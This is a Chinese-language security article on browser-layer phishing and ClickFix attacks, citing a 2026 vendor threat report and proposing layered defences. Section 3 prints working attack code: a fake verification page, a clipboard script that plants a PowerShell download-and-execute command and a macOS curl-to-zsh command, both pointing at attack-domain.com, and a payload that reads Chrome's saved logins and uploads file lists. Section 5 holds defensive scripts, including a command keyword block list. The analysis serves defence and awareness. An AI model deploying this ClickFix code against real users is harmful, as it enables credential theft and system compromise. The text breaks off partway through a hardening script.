首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >传统安全工具失效下浏览器层钓鱼攻击机理与防御研究

传统安全工具失效下浏览器层钓鱼攻击机理与防御研究

原创
作者头像
芦笛
发布2026-06-11 16:19:41
发布2026-06-11 16:19:41
830
举报

摘要

随着企业办公、业务系统全面向浏览器迁移,浏览器会话已成为网络钓鱼攻击的核心主战场。Menlo Security 发布的 2026 年浏览器威胁报告显示,现有主流网络安全软件未能检测到五分之一针对企业浏览器用户的钓鱼攻击,传统安全产品因架构设计缺陷,无法适配浏览器会话层的新型威胁。本文以该报告披露的威胁现状为基础,梳理浏览器层钓鱼攻击的演化特征,剖析传统 URL 过滤、静态检测等防护手段失效的底层原因,重点解析 ClickFix 这类融合社会工程学与浏览器交互特性的新型钓鱼攻击技术原理,结合代码示例还原攻击执行全流程。反网络钓鱼技术专家芦笛指出,现代浏览器钓鱼攻击突破了纯技术漏洞利用的范畴,依托用户正常交互行为绕过安全管控,进一步放大了防御难度。本文结合浏览器运行机制、攻击链路与企业实际应用场景,从浏览器内核检测、终端行为管控、网络边界防护、人员安全管理四个维度构建分层防御体系,设计可落地的检测脚本、终端加固方案与运维规则。研究成果可帮助企业补齐浏览器会话层的安全短板,解决传统安全工具大面积漏检钓鱼攻击的现实问题,也为浏览器安全产品迭代、企业安全策略优化提供理论与实践支撑。

关键词:网络钓鱼;浏览器安全;ClickFix 攻击;安全检测;终端防护;社会工程学

1 引言

1.1 研究背景

数字化转型背景下,企业办公模式发生根本性改变,邮件系统、SaaS 应用、协同办公工具、AI 助手、财务系统以及凭证管理软件等核心业务载体,均逐步迁移至浏览器会话中运行。浏览器不再是单纯的网页浏览工具,而是承载企业数据、用户凭证、核心业务的统一入口,这一转变也让浏览器成为网络攻击者重点瞄准的目标。

2026 年 6 月,Menlo Security 发布的浏览器威胁报告基于 2026 年第一季度数百万企业浏览器会话的平台遥测数据展开分析,明确提出严峻现状:针对企业浏览器用户的钓鱼攻击中,有五分之一的攻击行为能够完全绕过现有安全软件的检测与拦截。报告同时指出,当前多数传统企业级网络安全产品的设计逻辑,并未针对浏览器会话层的异常行为进行识别与阻断,攻击者正是利用这一防护盲区,持续渗透企业网络环境。

传统网络安全防护体系长期依赖 URL 黑名单、静态网页特征匹配、网络流量明文审计等技术抵御钓鱼攻击。但现代钓鱼攻击不断迭代升级,一方面攻击者利用高信誉域名、加密流量、动态网页代码规避静态检测;另一方面,新型攻击结合浏览器常规交互场景,借助验证码校验、页面报错、云平台验证等用户日常操作场景实施社会工程学欺骗,典型代表即为 ClickFix 攻击。此类攻击将恶意行为包装为合法的用户自主操作,从逻辑上绕过安全软件对 “恶意行为” 的判定规则,进一步压缩传统防护手段的生存空间。

浏览器会话层威胁的泛滥,不仅会造成员工账号、企业凭证泄露,还可能被攻击者作为跳板,横向渗透至企业内网,窃取商业机密、财务数据,甚至植入远控木马、勒索病毒。在此背景下,深入研究浏览器层钓鱼攻击的技术机理,分析传统安全工具失效的核心原因,搭建适配现代浏览器环境的防御体系,具备极强的现实必要性。

1.2 研究现状

国外安全厂商针对浏览器钓鱼攻击的研究起步较早,Menlo Security、Palo Alto Networks 等机构长期跟踪浏览器层威胁演化,持续披露 ClickFix、浏览器扩展劫持、剪贴板注入等新型攻击手法,明确了攻击重心从网络层转向浏览器会话层的整体趋势。相关研究指出,现代钓鱼攻击不再单纯依靠漏洞利用,而是深度结合社会工程学,利用用户与浏览器的交互行为突破防御,这也是传统安全产品漏检率居高不下的核心原因。同时,海外研究团队针对浏览器 API 滥用、剪贴板劫持、终端命令执行等环节开展技术拆解,提出基于行为分析的检测思路,但相关落地方案多面向海外企业环境,本土化适配内容较少。

国内网络安全领域对网络钓鱼的研究多集中于邮件钓鱼、移动端钓鱼、云平台托管钓鱼等方向,针对浏览器会话层专项钓鱼攻击的系统性研究相对薄弱。多数中小企业仍沿用传统 URL 过滤、域名黑名单等老旧防护方案,未针对浏览器动态行为、剪贴板操作、用户自主执行命令等场景制定管控规则。部分安全团队虽关注到 ClickFix 等新型攻击,但仅停留在现象描述层面,缺少完整的代码分析、攻击链路还原以及轻量化、可落地的防御脚本与运维策略。此外,国内企业普遍存在 “重网络边界、轻终端浏览器” 的安全认知偏差,浏览器安全管控长期处于薄弱状态,加剧了威胁带来的风险。

综合来看,当前国内外相关研究存在落地性不足、攻防结合不紧密、体系化防御缺失等问题。本文依托权威威胁报告,结合真实攻击样本与代码实现,完成攻击全链路解析,并构建覆盖网络、浏览器、终端、人员的闭环防御体系,弥补现有研究的短板。

1.3 研究内容与框架

本文以 Menlo Security 2026 年浏览器威胁报告为核心依据,围绕浏览器层钓鱼攻击展开全维度研究,整体框架共分为六个部分。第一部分为引言,阐述研究背景、国内外研究现状、研究内容与研究价值;第二部分分析浏览器层钓鱼攻击的整体态势,总结攻击特征,并深度剖析传统安全工具漏检、失效的底层原因;第三部分聚焦核心攻击类型,重点解析 ClickFix 攻击的技术原理、传播链路、浏览器 API 滥用方式,搭配完整代码示例还原攻击流程;第四部分梳理浏览器钓鱼攻击的典型攻击链路与衍生变种,区分不同场景下的攻击差异;第五部分结合攻击特征与失效原因,参考反网络钓鱼技术专家芦笛的观点,搭建多维度分层防御体系,包含网络边界、浏览器内核、终端系统、人员意识四大模块,同步提供检测代码、终端加固脚本与运维规则;第六部分为结论与展望,总结全文研究成果,预判浏览器钓鱼攻击的演化趋势,并指出后续研究方向。

1.4 研究价值

理论层面,本文系统阐释浏览器会话层钓鱼攻击与传统钓鱼攻击的本质区别,明确传统安全架构与现代浏览器威胁模型的适配缺陷,完善浏览器安全与网络钓鱼交叉领域的理论研究,补充社会工程学结合浏览器交互的攻击机理分析内容。

实践层面,本文提供完整的攻击代码解析、检测脚本、终端加固方案与企业运维规范,适配大、中、小型不同规模企业的部署能力。对于安全运维人员,可直接使用文中代码与规则优化现有防护体系,降低浏览器钓鱼攻击的漏检率;对于安全产品厂商,本文总结的攻击特征与行为规则,可为浏览器安全插件、终端安全软件的功能迭代提供参考;对于企业管理者,本文梳理的风险点可帮助其纠正安全认知偏差,完善浏览器安全管理制度。

2 浏览器层钓鱼攻击态势与传统防护失效分析

2.1 浏览器层钓鱼攻击整体态势

结合 Menlo Security 2026 年第一季度监测数据以及全球安全厂商的联动观测结果,当前面向企业浏览器的钓鱼攻击呈现四大核心态势,威胁覆盖面、隐蔽性、危害性均持续提升。

第一,攻击载体全面依附常规办公场景。当前企业绝大多数业务操作均在浏览器中完成,攻击者不再单独制作孤立的钓鱼页面,而是将恶意代码、欺骗逻辑融入仿冒的邮件页面、SaaS 登录页、AI 助手界面、云存储页面等高频使用场景。用户在日常办公过程中被动接触钓鱼内容,警惕性大幅降低,攻击触发概率显著提升。

第二,漏检问题常态化,五分之一攻击完全逃逸检测。传统安全软件依靠静态特征与域名黑名单开展检测,面对全新域名、动态网页代码、加密流量时基本失效。监测数据显示,用户主动点击交互的钓鱼链接中,20% 的攻击行为未被任何传统安全工具识别,攻击者可长期潜伏在企业网络中。

第三,攻击模式从纯技术漏洞转向社会工程学 + 浏览器交互复合模式。早期浏览器钓鱼多利用浏览器漏洞、恶意扩展植入恶意代码,而现阶段攻击充分利用用户必须执行的常规操作,如人机验证码识别、页面报错修复、云平台身份验证、权限确认等。攻击者将恶意指令伪装成 “系统修复代码”“验证口令”,诱导用户自主完成操作,从行为属性上规避安全软件的恶意判定。

第四,攻击链路轻量化、传播渠道多元化。除传统邮件渠道外,协作工具、社交软件、搜索引擎广告、被入侵的正规网站均成为钓鱼内容的传播载体。攻击者依托 “钓鱼即服务” 工具快速生成攻击页面,批量分发至多个渠道,攻击规模化能力大幅增强。

2.2 浏览器层钓鱼攻击典型特征

综合监测样本与攻击案例,当前浏览器钓鱼攻击具备五大共性特征,也是区分于传统钓鱼攻击的核心标识。

2.2.1 依托可信载体,规避域名黑名单

攻击者优先选择高声誉正规网站、免费云托管平台、被入侵的合法站点托管钓鱼页面。此类域名早已被企业安全策略加入白名单,URL 过滤系统不会进行拦截,全新子域名、临时站点也无法被提前录入黑名单,域名层面的防护彻底失效。

2.2.2 动态网页为主,静态特征持续变异

现代钓鱼页面基于 JavaScript 动态渲染,页面代码、元素布局可实时变化。攻击者使用代码混淆、变量名随机化、逻辑拆分等手段破坏静态特征库,传统基于 HTML 源码、关键字匹配的静态检测技术无法识别恶意内容。同一攻击模板可生成数十种代码形态,进一步提升检测难度。

2.2.3 全链路加密,流量审计失去作用

绝大多数钓鱼站点默认启用 TLS 加密协议,浏览器与服务器之间的交互流量均为密文。未部署 SSL 解密设备的企业,无法解析流量中的表单数据、请求内容,难以识别账号密码窃取、恶意指令外传等行为,明文流量审计技术完全失效。

2.2.4 滥用浏览器原生 API,行为具备合法性

新型攻击大量调用浏览器剪贴板、弹窗、跨域请求、协议唤醒等原生 API。这些 API 是浏览器正常功能,安全软件默认允许调用,攻击者借助合法 API 实现剪贴板注入、恶意弹窗、本地程序唤醒等操作,行为本身不具备 “恶意代码” 特征。

2.2.5 诱导用户自主操作,绕过行为管控

这是当前最核心的攻击特征,以 ClickFix 为典型代表。攻击者不主动执行恶意代码,而是通过页面提示、恐吓话术、系统伪装等方式,诱导用户手动复制、粘贴、执行指令。由于操作主体是合法用户,安全软件难以区分 “正常操作” 与 “恶意操作”,行为管控规则被绕过。

2.3 传统安全工具架构缺陷与失效原因

Menlo Security CEO Bill Robbins 明确指出,企业主流安全工具的设计逻辑与当前威胁模型严重脱节:现有产品并非针对浏览器会话层设计,而攻击者已经将活动重心完全转移至这一防护盲区。结合安全产品原理与攻击特征,本文从技术、架构、策略三个维度,详细分析传统防护手段失效的具体原因。

2.3.1 传统 URL 过滤技术的局限性

URL 过滤是企业邮件网关、防火墙、上网行为管理设备的核心钓鱼防护手段,其工作原理为维护已知恶意域名、恶意 URL 黑名单,对访问请求进行匹配拦截。该技术的失效原因主要有三点。

首先,黑名单存在滞后性。攻击者可批量注册免费子域名、接管被入侵的合法域名,持续生成全新恶意 URL,这些新生地址无法被提前收录至黑名单,访问行为会被直接放行。

其次,企业无法全局封禁高声誉主域名。大量钓鱼页面托管在 Vercel、Netlify、正规企业分站等可信主域名下,若将整个主域名加入黑名单,会影响员工正常办公,企业只能放任此类子域名通行。

最后,动态 URL 与一次性链接规避拦截。部分高级钓鱼攻击使用动态生成的一次性链接,链接仅单次有效,安全团队事后溯源时都无法复现攻击页面,更无法完成特征入库。

2.3.2 静态代码检测技术的适配缺陷

传统网页安全检测依赖静态代码特征匹配,提前提取恶意 JS 代码、恶意表单、敏感关键字等特征,对页面源码进行扫描比对。在浏览器层新型钓鱼攻击面前,该技术存在天然短板。

其一,动态渲染页面无固定源码特征。基于 JavaScript 动态生成的页面,每次加载的源码结构、变量名称、代码顺序均存在差异,单一静态特征无法覆盖所有攻击样本。

其二,代码混淆破坏特征标识。攻击者对核心恶意脚本进行字符编码、字符串拆分、逻辑加密处理,原始恶意特征被完全破坏,静态扫描无法识别。

其三,恶意代码与正常业务代码混合。钓鱼页面会引入正规 CDN 资源、通用业务脚本,恶意逻辑隐藏在正常代码中,静态检测极易出现漏判。

2.3.3 明文流量审计面对加密流量的失效

传统流量审计设备主要针对 HTTP 明文流量进行深度解析,抓取表单提交内容、外联请求、敏感数据等,以此判断是否存在钓鱼行为。目前绝大多数网站(包含钓鱼站点)均强制启用 TLS 1.3 加密,流量以密文形式传输。

对于未部署 SSL/TLS 解密设备的中小企业,流量审计设备只能看到加密连接的地址,无法解析请求体、响应内容,无法识别账号密码、恶意指令等敏感数据的传输。而 SSL 解密设备存在部署成本高、设备性能损耗大、证书运维复杂等问题,大量企业出于成本与运维考虑,并未启用该功能,加密流量成为攻击者的 “天然屏障”。

2.3.4 安全产品未覆盖浏览器会话层

这是最根本的架构性缺陷。传统终端安全、网络安全产品的防护重心集中在网络层、系统进程层、文件层,并未深入浏览器会话内部开展监控。

浏览器作为独立运行的应用程序,拥有自身的进程、线程、渲染引擎、API 调用逻辑。传统安全工具仅能监控浏览器对外的网络请求、本地文件读写,无法深入解析页面内部的脚本执行、剪贴板操作、弹窗行为、DOM 元素变化等会话层行为。当恶意逻辑在浏览器会话内部运行时,安全工具完全处于 “不可见” 状态,自然无法实现检测与拦截。

2.3.5 安全策略对合法交互行为的放行规则

企业安全策略与终端安全软件,默认信任用户的自主操作行为。安全管控的核心目标是阻止程序自动执行恶意行为,而非限制用户正常操作。ClickFix 等攻击正是利用这一规则,将恶意指令包装为 “系统验证”“故障修复” 类操作,引导用户手动复制、粘贴、运行命令。在安全软件的判定逻辑中,此类行为属于用户合法操作,不会触发告警与拦截,防护体系彻底失效。

2.4 浏览器会话层的防护盲区总结

综合上述分析,传统安全体系在浏览器层形成了四大不可逆的防护盲区:一是域名盲区,可信主域名下的新生恶意子域名无法通过黑名单拦截;二是代码盲区,动态、混淆后的网页代码绕过静态特征检测;三是流量盲区,全站加密导致明文审计失效;四是行为盲区,浏览器内部会话行为、用户自主操作未被纳入监控范围。现代浏览器钓鱼攻击精准瞄准这四大盲区,这也是五分之一攻击实现完全漏检的核心原因。

3 典型浏览器层钓鱼攻击:ClickFix 技术机理与代码解析

ClickFix 是当前浏览器层钓鱼攻击中危害最大、漏检率最高的攻击类型,也是 Menlo Security 报告中重点提及的社会工程学类攻击手段。该攻击融合浏览器剪贴板 API、弹窗 API、页面伪装技术与社会工程学话术,诱导用户主动执行恶意命令,完美绕过传统安全工具的检测。本节结合真实攻击样本,拆解攻击全流程、核心技术原理,并提供完整代码示例。

3.1 ClickFix 攻击概述

ClickFix 攻击全称 “点击修复式钓鱼攻击”,名称来源于其典型的欺骗话术:攻击者伪造浏览器报错、验证码失效、安全组件异常等提示,告知用户 “点击按钮修复问题”。用户点击页面元素后,浏览器后台静默将恶意命令写入系统剪贴板,同时页面弹出引导提示,要求用户将剪贴板中的内容粘贴至系统运行窗口、终端工具中执行。

从攻击目标来看,ClickFix 主要分为两类:一类以窃取浏览器凭证、本地文档、账号密码为主;另一类通过执行 PowerShell、Shell 等命令植入远控木马、勒索病毒,实现终端沦陷。反网络钓鱼技术专家芦笛强调,ClickFix 攻击的核心威胁并非浏览器漏洞,而是利用人机交互的信任关系,将安全风险转移至用户自身,这也是此类攻击难以防御的关键。

从运行环境来看,该攻击可兼容 Windows、macOS 两大主流桌面系统:Windows 平台主要诱导用户使用 Win+R 运行窗口执行 PowerShell 命令;macOS 平台则诱导用户打开终端或系统脚本编辑器执行 Shell 指令,攻击适配性极强。

3.2 ClickFix 攻击全链路拆解

完整的 ClickFix 攻击分为五个阶段,全流程依托浏览器实现,无明显恶意文件落地,隐蔽性极强。

引流访问阶段:攻击者通过邮件、协作工具、搜索引擎、被入侵站点等渠道分发钓鱼链接,用户点击后跳转至仿冒页面;

场景伪装阶段:页面加载完成后,展示伪造的验证码界面、浏览器报错提示、云平台验证弹窗,制造 “系统异常需要修复” 的假象;

剪贴板注入阶段:用户按照提示点击页面 “修复”“验证” 按钮,页面 JavaScript 代码调用浏览器剪贴板 API,静默写入预编译的恶意命令;

社工诱导阶段:页面弹出文字指引,要求用户打开系统运行窗口 / 终端,粘贴剪贴板内容并回车执行;

恶意执行阶段:用户执行命令后,系统调用脚本解释器(PowerShell/Shell)从远程服务器下载恶意载荷,在内存中执行,完成数据窃取或终端入侵。

整个链路中,恶意代码仅在浏览器会话与系统内存中运行,不会生成本地文件,传统文件查杀、进程监控手段难以溯源。

3.3 核心模块代码示例与解析

本节基于真实攻击样本,拆分 ClickFix 攻击的三大核心模块:伪装页面与交互诱导模块、浏览器剪贴板注入模块、远程载荷执行模块,提供完整可复现代码,并逐行解析技术逻辑。代码分为 Windows 平台版本与 macOS 平台版本,覆盖主流应用场景。

3.3.1 Windows 平台 ClickFix 攻击代码实现

3.3.1.1 伪装页面与交互诱导(index.html)

该页面模拟 Cloudflare 验证、浏览器验证码报错场景,布局贴近正规验证页面,降低用户警惕性,同时绑定点击事件触发剪贴板注入。

<!DOCTYPE html>

<html lang="zh-CN">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>安全验证 - 浏览器身份校验</title>

<style>

/* 模仿主流云验证页面样式,提升伪装度 */

.verify-box {

width: 450px;

margin: 100px auto;

padding: 30px;

border: 1px solid #e5e7eb;

border-radius: 8px;

text-align: center;

font-family: Microsoft Yahei, sans-serif;

}

.tip-text {

color: #666;

font-size: 14px;

margin: 20px 0;

}

.fix-btn {

width: 180px;

height: 40px;

background-color: #2563eb;

color: #fff;

border: none;

border-radius: 4px;

cursor: pointer;

font-size: 15px;

}

.guide-info {

margin-top: 25px;

padding: 15px;

background-color: #f3f4f6;

border-radius: 4px;

text-align: left;

}

</style>

</head>

<body>

<div class="verify-box">

<h3>浏览器安全验证失败</h3>

<p class="tip-text">检测到当前会话存在异常,请点击下方按钮完成修复验证</p>

<!-- 核心触发按钮,点击后执行剪贴板注入逻辑 -->

<button class="fix-btn" id="repairBtn">点击修复验证</button>

<!-- 诱导指引文案,引导用户执行系统命令 -->

<div class="guide-info" id="guideArea" style="display: none;">

<p>修复代码已自动复制,请按照以下步骤操作:</p>

<p>1. 按下键盘组合键 Win + R 打开运行窗口</p>

<p>2. 直接粘贴代码,按下回车键完成验证</p>

<p style="color: red; font-weight: bold;">请勿修改代码,否则验证失效</p>

</div>

</div>

<!-- 引入核心恶意脚本 -->

<script src="clipboard.js"></script>

</body>

</html>

代码解析:页面样式模仿主流互联网平台的安全验证界面,利用 “验证失败”“异常会话” 等话术制造用户焦虑。初始状态隐藏操作指引,用户点击 “修复验证” 按钮后,才展示系统操作步骤,分步诱导用户执行后续操作。页面无明显恶意标识,视觉欺骗性极强。

3.3.1.2 剪贴板注入脚本(clipboard.js)

该脚本是攻击的核心,调用浏览器标准navigator.clipboard API,将恶意 PowerShell 命令静默写入用户剪贴板,同时展示操作指引。现代主流浏览器(Chrome、Edge、Firefox)均开放该 API,默认允许网页在用户交互后调用。

javascript

运行

// 获取页面DOM元素

const repairBtn = document.getElementById('repairBtn');

const guideArea = document.getElementById('guideArea');

// 定义恶意PowerShell命令:内存执行远程载荷,无文件落地

// 伪装为“验证代码”,规避用户怀疑

const maliciousCmd = 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("https://attack-domain.com/payload.ps1")';

// 绑定按钮点击事件(用户主动交互,绕过浏览器安全限制)

repairBtn.addEventListener('click', async function(){

try {

// 调用浏览器剪贴板API,写入恶意命令

await navigator.clipboard.writeText(maliciousCmd);

// 展示系统操作指引,诱导用户执行命令

guideArea.style.display = 'block';

} catch (error) {

// 兼容部分浏览器剪贴板权限限制,备用弹窗复制方案

alert("验证代码:" + maliciousCmd + " 请手动复制并执行");

}

});

代码解析:浏览器出于安全考量,禁止页面在无用户交互的情况下调用剪贴板写入 API。本代码将剪贴板操作绑定在用户点击按钮事件中,属于合法交互行为,浏览器不会拦截。恶意命令采用 PowerShell 内存执行模式,通过DownloadString拉取远程载荷并直接运行,全程无文件落地,躲避本地杀毒软件的文件查杀。针对部分老旧浏览器剪贴板权限限制,增加弹窗手动复制的备用方案,保证攻击成功率。

3.3.1.3 远程恶意载荷(payload.ps1)

该 PowerShell 脚本为远程载荷,运行后实现浏览器凭证窃取、本地文档遍历、信息回传等功能,是终端沦陷的最终执行模块。

powershell

<# 伪装:浏览器验证组件 #>

# 关闭命令行窗口输出,隐蔽运行

$host.UI.RawUI.WindowTitle = "系统验证";

$ErrorActionPreference = "SilentlyContinue";

# 1. 窃取Chrome浏览器保存的账号密码(简化示例)

$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";

if(Test-Path $chromePath){

# 读取浏览器凭证数据库(脱敏简化逻辑)

$chromeData = Get-Content $chromePath -Encoding Byte -TotalCount 2000;

}

# 2. 遍历桌面、文档文件夹,收集敏感文档路径

$docPath = [Environment]::GetFolderPath("MyDocuments");

$desktopPath = [Environment]::GetFolderPath("Desktop");

$fileList = @(Get-ChildItem -Path $docPath,$desktopPath -Recurse -File);

# 3. 将窃取数据回传至攻击者服务器

$postData = @{

UserName = $env:USERNAME;

ComputerName = $env:COMPUTERNAME;

ChromeData = $chromeData;

FileList = $fileList.Name;

} | ConvertTo-Json;

# 发起HTTP请求回传数据

$webClient = New-Object System.Net.WebClient;

$webClient.UploadString("https://attack-domain.com/receive.php", "POST", $postData);

# 模拟验证完成,清除痕迹

Start-Sleep 2;

exit;

代码解析:载荷运行后首先隐藏命令行窗口、屏蔽错误提示,保证运行隐蔽性。核心功能分为三部分:读取 Chrome 浏览器凭证文件、遍历本地常用文件夹收集文档信息、将所有数据打包回传至攻击者服务器。执行完成后自动退出,不会留下异常弹窗或报错信息,用户难以察觉终端已被入侵。

3.3.2 macOS 平台 ClickFix 攻击变种代码

macOS 系统无 Win+R 运行窗口,攻击者将诱导目标切换为系统 “终端” 与脚本编辑器,结合applescript://协议唤醒本地应用,攻击逻辑与 Windows 版本一致,仅指令与引导话术调整。

<!-- macOS平台诱导页面核心代码片段 -->

<div class="guide-info" id="macGuide" style="display: none;">

<p>验证代码已复制,请执行以下操作:</p>

<p>1. 打开系统「终端」程序</p>

<p>2. 粘贴代码并回车完成验证</p>

</div>

<script>

const macMaliciousCmd = 'curl https://attack-domain.com/mac-payload.sh | zsh';

const repairBtn = document.getElementById('repairBtn');

repairBtn.addEventListener('click', async function(){

await navigator.clipboard.writeText(macMaliciousCmd);

document.getElementById('macGuide').style.display = 'block';

// 调用系统协议,直接唤醒终端(进阶攻击手段)

window.location.href = "applescript://open terminal";

});

</script>

代码解析:该变种使用curl命令拉取 Shell 载荷并通过 zsh 执行,同时利用浏览器协议唤醒功能直接打开终端,进一步简化用户操作步骤,提升攻击成功率。macOS 新版系统虽增加粘贴命令扫描机制,但攻击者通过代码混淆、分段拼接指令等方式,仍可绕过基础检测。

3.4 ClickFix 攻击规避检测的多重手段

结合代码与运行逻辑,总结该攻击绕过传统安全工具的五大核心手段,也是其在浏览器层大面积漏检的关键。

合法 API 调用规避拦截:攻击使用浏览器标准剪贴板、弹窗、DOM 操作 API,均为正常网页功能,浏览器与终端安全软件不会对 API 调用本身进行拦截。

用户交互前置:剪贴板写入、指令执行均由用户主动操作触发,安全软件判定为 “合法用户行为”,放弃告警与阻断。

无文件落地的内存执行:恶意载荷通过 PowerShell、Shell 在内存中直接运行,不生成本地可执行文件,传统基于文件特征的杀毒软件无法检测。

全站加密传输载荷:远程载荷下载、数据回传均使用 HTTPS 加密流量,未部署 SSL 解密的设备无法识别传输内容。

场景伪装弱化警惕性:依托验证码、系统报错、安全验证等常规场景,从心理层面降低用户警惕,人为防线被突破。

4 其他主流浏览器层钓鱼攻击变种与链路分析

除 ClickFix 外,当前浏览器层还存在三类高频钓鱼攻击变种,同样具备绕过传统安全工具的能力,本节简要梳理其技术特征与攻击链路,完善威胁画像。

4.1 恶意浏览器扩展钓鱼攻击

攻击者制作仿冒办公、安全类浏览器扩展,通过非官方渠道分发。扩展安装后,利用浏览器扩展的高权限(读取页面内容、拦截网络请求、获取表单数据)窃取账号密码。该攻击的特点是恶意代码常驻浏览器进程,传统 URL 过滤无法检测,仅能依靠浏览器商店的扩展审核与终端扩展管控。

攻击链路:钓鱼链接诱导用户下载扩展包→用户手动安装扩展→扩展后台监听所有页面表单→捕获凭证后加密外传。

4.2 动态弹窗与全屏锁定钓鱼攻击

攻击者利用 JavaScript 制作全屏锁定弹窗、强制置顶提示,伪装成系统警告、账号冻结通知,逼迫用户在弹窗内输入账号、密码、验证码。页面动态渲染弹窗,无固定静态特征,传统静态代码检测难以识别。部分变种还会禁用浏览器关闭按钮,进一步胁迫用户操作。

4.3 内嵌恶意表单的仿冒 SaaS 页面攻击

仿冒企业常用的 SaaS 办公系统、邮箱、财务系统页面,内嵌恶意表单。用户输入信息后,JS 脚本捕获数据并通过加密接口外传。页面完全复刻正规界面,托管在高信誉子域名下,URL 过滤与静态检测均易漏检。

4.4 各类攻击共性总结

所有浏览器层钓鱼攻击均遵循同一核心逻辑:依托浏览器合法功能与常规交互场景,弱化恶意特征,绕过传统网络与终端防护。攻击重心从 “破坏系统” 转向 “窃取数据”,从 “漏洞利用” 转向 “人机欺骗”,这也是传统安全架构全面不适配的根本原因。

5 面向浏览器层钓鱼攻击的分层闭环防御体系

结合前文攻击机理、传统防护失效原因,同时参考反网络钓鱼技术专家芦笛的实践经验,本文构建网络边界层、浏览器会话层、终端系统层、人员意识层四层分层防御体系,各层级相互联动、互补短板,形成闭环防护。体系包含可直接部署的检测代码、终端加固脚本、网络规则与运维制度,适配不同规模企业。

5.1 网络边界层防御:阻断攻击传播源头

网络边界是第一道防线,核心目标是拦截钓鱼链接、加密恶意流量,弥补 URL 过滤与流量审计的短板。

5.1.1 优化 URL 检测规则,从黑名单转向行为判定

放弃单一域名黑名单模式,部署组合特征检测规则,针对浏览器钓鱼链接设置多重判定条件,以下为 Python 实现的 URL 风险检测脚本,可集成至防火墙、邮件网关。

from urllib.parse import urlparse

class BrowserPhishCheck:

def __init__(self):

# 高风险关键词:验证、登录、安全、修复等钓鱼高频词汇

self.risk_words = ["verify", "login", "security", "fix", "repair", "auth"]

# 高风险域名后缀

self.risk_tld = [".top", ".xyz", ".club"]

# 企业可信业务域名白名单

self.trust_domain = ["company.com", "corp.net"]

def check_url_risk(self, url):

"""URL综合风险检测,返回风险等级与原因"""

result = {"is_risk": False, "score": 0, "reason": []}

parsed = urlparse(url)

domain = parsed.netloc.lower()

path = parsed.path.lower()

# 1. 排除可信业务域名

if domain in self.trust_domain:

return result

# 2. 路径包含风险关键词,加分

for word in self.risk_words:

if word in path:

result["score"] += 30

result["reason"].append(f"路径包含风险词:{word}")

# 3. 域名使用高风险后缀,加分

for tld in self.risk_tld:

if domain.endswith(tld):

result["score"] += 25

result["reason"].append("使用高风险域名后缀")

# 4. 判定风险:总分≥50标记为高危链接

if result["score"] >= 50:

result["is_risk"] = True

return result

# 脚本测试

if __name__ == "__main__":

checker = BrowserPhishCheck()

test_url1 = "https://xxx.xyz/repair-verify"

test_result = checker.check_url_risk(test_url1)

print(f"链接风险:{test_result['is_risk']},原因:{test_result['reason']}")

脚本说明:该脚本不再单纯匹配恶意域名,而是结合 URL 路径关键词、域名后缀、白名单做综合评分,可有效识别新生钓鱼链接,集成至邮件网关、上网行为管理后,可提前拦截大部分引流链接。

5.1.2 部署 SSL 解密,深度解析加密流量

企业核心办公网段强制启用 SSL/TLS 解密功能,对浏览器对外的 HTTPS 流量进行解析,监控两类异常行为:一是页面向外部接口批量提交表单数据;二是浏览器拉取远程 PowerShell、Shell 脚本。一旦发现此类流量,立即阻断并告警。中小企业可仅针对行政、财务、运维等高风险网段启用解密,平衡性能与安全。

5.1.3 管控跨域外联与高危协议

在防火墙中配置规则,限制办公网段浏览器直接外联陌生境外服务器;拦截applescript://、cmd://等系统协议在浏览器中的调用,阻断协议唤醒类 ClickFix 变种。

5.2 浏览器会话层防御:内核级监控与行为拦截

浏览器会话层是抵御攻击的核心环节,直接监控页面脚本、剪贴板、弹窗等行为,从攻击载体内部阻断恶意逻辑。

5.2.1 前端 JS 防护脚本:拦截剪贴板滥用与恶意弹窗

将以下脚本部署为企业浏览器统一强制脚本(通过浏览器组策略推送),拦截恶意剪贴板写入、全屏恶意弹窗,防护 ClickFix 与锁定弹窗类攻击。

// 企业浏览器全局防护脚本

document.addEventListener('DOMContentLoaded', function() {

// 1. 监控剪贴板写入行为,拦截非可信页面的恶意复制

const originalWrite = navigator.clipboard.writeText;

navigator.clipboard.writeText = async function(text) {

// 判定内容是否包含系统命令关键词

const cmdKeywords = ["powershell", "cmd", "curl", "zsh", "bash"];

let isMalCmd = cmdKeywords.some(key => text.includes(key));

if(isMalCmd){

alert("安全告警:检测到页面尝试复制系统命令,已拦截!");

return Promise.reject("Blocked malicious clipboard");

}

// 正常内容允许执行

return originalWrite.call(this, text);

};

// 2. 拦截全屏锁定、置顶恶意弹窗

document.addEventListener('mousedown', function(e) {

const target = e.target;

const style = window.getComputedStyle(target);

// 判定全屏、超高层级弹窗

if(style.width === "100vw" && style.height === "100vh" && parseInt(style.zIndex) > 9999){

alert("安全告警:检测到恶意全屏弹窗,已屏蔽!");

target.style.display = "none";

}

});

});

脚本说明:脚本重写浏览器剪贴板写入方法,检测待写入内容是否包含系统命令关键词,精准拦截 ClickFix 的恶意命令复制;同时识别全屏、高层级的恶意弹窗并屏蔽,两大功能分别针对主流浏览器钓鱼攻击。通过浏览器组策略全网推送后,所有员工浏览器都会加载该防护逻辑。

5.2.2 浏览器扩展管控

通过企业组策略限制浏览器扩展安装权限,禁止员工手动安装非企业认证的扩展;定期审计已安装扩展列表,卸载未知、高权限扩展,抵御恶意扩展钓鱼攻击。

5.3 终端系统层防御:加固系统,阻断恶意指令执行

终端系统层作为最后一道技术防线,即使浏览器层被突破,也能阻止恶意命令运行,主要针对 ClickFix 的命令执行环节开展加固。

5.3.1 Windows 终端 PowerShell 加固脚本

通过 PowerShell 脚本修改系统策略,限制脚本执行权限、开启日志审计、清空风险剪贴板,批量部署至所有企业终端。

powershell

<# 终端ClickFix专项加固脚本 #>

function Set-BrowserPhishDefense {

# 1. 限制PowerShell执行策略,禁止未签名脚本运行

Set-ExecutionPolicy Restricted -Force -Scope LocalMachine;

Write-Host "已限制PowerShell脚本执行权限" -ForegroundColor Green;

# 2. 开启PowerShell脚本块日志,记录所有执行指令,便于溯源

$logPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-PowerShell/Operational";

if(-not (Test-Path $logPath)){ New-Item -Path $logPath -Force | Out-Null; }

Set-ItemProperty -Path $logPath -Name "Enabled" -Value 1 -Force;

